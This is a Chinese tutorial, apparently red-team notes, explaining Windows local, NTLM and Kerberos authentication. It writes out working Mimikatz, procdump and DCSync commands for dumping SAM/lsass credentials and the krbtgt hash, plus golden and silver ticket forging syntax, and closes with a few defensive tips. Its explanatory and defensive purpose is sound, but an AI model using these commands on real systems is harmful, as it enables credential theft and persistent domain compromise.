在Windows环境中,认证方式可以大致分为以下三种
1、本地认证
2、网络认证
3、域认证
一、本地认证
Windows的登陆密码储存在系统本地的SAM文件中,在登陆Windows的时候,系统会将用户输入的密码与 SAM文件中的密码进行对比,如果相同,则认证成功。SAM文件是在 %SystemRoot%\system32\config\
目录下的数据库文件。
(1)当用户注销、重启、锁屏后,操作系统会让winlogon.exe
显示登陆界面,接收用户输入的账号密码
(2)winlogon.exe
会将收到的账号和密码交给 Isass.exe
进程,该进程会将密码加密成 NTLM Hash
(3)系统将用户输入的密码的NTLM Hash和SAM文件中的散列值进行比较
(4)如果结果相同,则登录成功
因此,我们能够通过转储存lsass.exe来获取密码
在线读取
使用Mimikatz,在线读取SAM文件
privilege::debug
提升至debug权限
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
一条命令读取SAM文件
在线抓取lsass.exe进程中的密码
离线读取
因为mimikaz直接上传到目标主机,很容易被安全查杀,使用Procdump配合mimikaz转储lsass.exe
在目标主机上导出lsass.dmp
procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp
将转储的lsass.dmp,下载到本机,本机运行mimikaz
sekurlsa::minidump lsass.dmp
将lsass.dmp载入mimikaz
sekurlsa::logonPasswords full
获取密码
2、网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。主机A想要访问主机B上的资源,就要向主机B发送一个存在于主机 B上的一个账户,主机B接收以后会在本地进行验证,如果验证成功,才会允许主机A进行相应的访问。
NTLM协议的认证过程分为三步:协商、质询、验证
协商
确定双方使用的协议版本,NTLM存在V1和V2两个版本
质询
客户端向服务器发送用户信息请求。服务器接收到请求后,检查本地用户列表以确认用户名是否存在;如果不存在,则返回认证失败;如果存在,服务器生成一个16位的随机数,称为“Challenge”,并使用与登录用户名对应的 NTLM Hash 加密该 Challenge,生成 Challenge1 并在内存中保存。同时,服务器将这个 Challenge(16位随机字符)发送给客户端。
客户端收到 Challenge 后,使用提供的账户密码计算出相应的 NTLM Hash,然后利用该 NTLM Hash 加密 Challenge 生成 Response,最后将此 Response 发送回服务器。
验证
服务器接收到来自客户端的 Response,将客户端发送的 Response 与之前保存在内存中的 Challenge1 进行比较,如果客户端的 Response 与 Challenge1 相等,认证通过,用户被授权访问资源。
NTLMv1和NTLMv2区别
NTLMv1 使用的Challenge为 8 字节,NTLMv1 的主要加密算法是 DES
NTLMv2 使用的Challenge为 16 字节,NTLMv2 的主要加密算法是 HMAC-MD5
NTLMv2格式如下
username::domain:challenge:HMAC-MD5:blob
如果能得到上述的值,理论上是可以破解得到用户密码的
3、域认证(Kerberos)
Kerberos工作流程
用户身份验证(AS 请求):
- 用户(客户端)首先向 Kerberos 认证服务器(AS)发送请求,提供其身份
- 认证服务器验证用户身份,并生成一个票证授权票(TGT),以及一个会话密钥。TGT 中包含用户的身份、有效期等信息,并由 AS 用用户的密钥(用户的密码)加密
获取服务票证(TGS 请求):
- 用户接收到 TGT 后,使用此 TGT 向票证授权服务器( TGS)发起请求,获取希望访问的具体服务的票证。
- 用户向 TGS 提供 TGT 和服务请求,TGS 验证 TGT 的有效性,然后生成特定服务的票证(ST),并使用服务的密钥进行加密。
访问服务:
- 用户现在可以使用获取的服务票证和会话密钥与目标服务进行通信。客户端在与服务通信时,发送服务票证。
- 目标服务解密票证,验证用户的身份,并使用会话密钥建立安全会话。
流程图如下:
黄金票据
krbtgt
是 Kerberos 认证系统中的一个特殊账户,当用户首次进行身份验证时,他们向 Kerberos 认证服务发送请求。krbtgt
账户用于生成和签名这些票证,允许用户在 Kerberos 域内获得访问。
Kerberos中的TGT 是由 KDC用 krbtgt
用户的 NTLM Hash 加密和签名的,如果 krbtgt
的 NTLM Hash 被泄露或破解,攻击者可以伪造身份,从而访问整个 Kerberos 领域内的资源。所以只要得到krbtgt的NTLM Hash,就可以伪造TGT,就跳过AS验证,不用验证账户和密码。
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash,由于域控管理员账户往往安全管理十分严格,因此我们可以利用 krbtgt用户的NTLM hash
制作黄金票据伪造TGT,来权限维持。(前提是krbtgt的密码没有更改)
使用mimikatz
whoami /user
获取sid,去掉500,即为sid
net config workstation
查看域
mimikatz lsadump::dcsync /domain:redteam.lab /user:krbtgt
导出krbtgt的NTLM hash
到这里我们就得到了伪造黄金票据的信息
1、需要伪造账户的名称
2、完整的域名
3、SID,去掉500
4、krbtgt账户的NTLM hash
再用mimikatz来伪造票据(由于环境问题这里就不直接演示了)
命令格式如下:Kerberos::golden /user:XXX /domain:xxxxx /sid:xxxxx… /krbtgt:xxxxxxx
白银票据
攻击者通过伪造针对特定服务的服务票证(ST)来获取对目标服务的访问权限。与黄金票据不同,白银票据只对特定的服务有效,而不是整个域,
攻击者必须知道目标服务的名称和相关的 NTLM hash
需要获取信息
1、域名
2、SID,抹去最后的数字
3、需要伪造的账户名
4、账号的NTLM hash
5、目标服务器名
6、可利用的服务
whoami /user
获取sid
net config workstation
查看域
获取服务账号的NTLM hash值
mimikatz sekurlsa::logonpasswords
由于环境问题,没有什么可利用的服务
一般来讲,可以利用CIFS、IIS Web 服务器、SQL Server、RDP、LDAP、Exchange 邮件服务、SharePoint,以及任何使用 Kerberos 身份验证的自定义应用程序
命令如下:
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt
大概是这样,找的网图
黄金票据与白银票据的区别
认证流程不同
黄金票据:同KDC交互,但不同AS交互
白银票据:不同KDC交互,直接访问Server
权限不同
黄金票据:伪造的 TGT,可以用于访问任意 Kerberos 认证的服务,几乎可以无障碍访问整个域的资源
白银票据:伪造的 ST,只能用于访问特定的服务,权限更有限
加密方式不同
黄金票据:由krbtgt 的NTLM Hash 加密
白银票据:由目标服务账户的 NTLM Hash 加密,生成针对特定服务的票据
防范
1、定期更新服务账户和KDC的密钥
2、监控Kerberos身份验证日志,捕捉异常行为
3、不启用未使用的服务,减少攻击面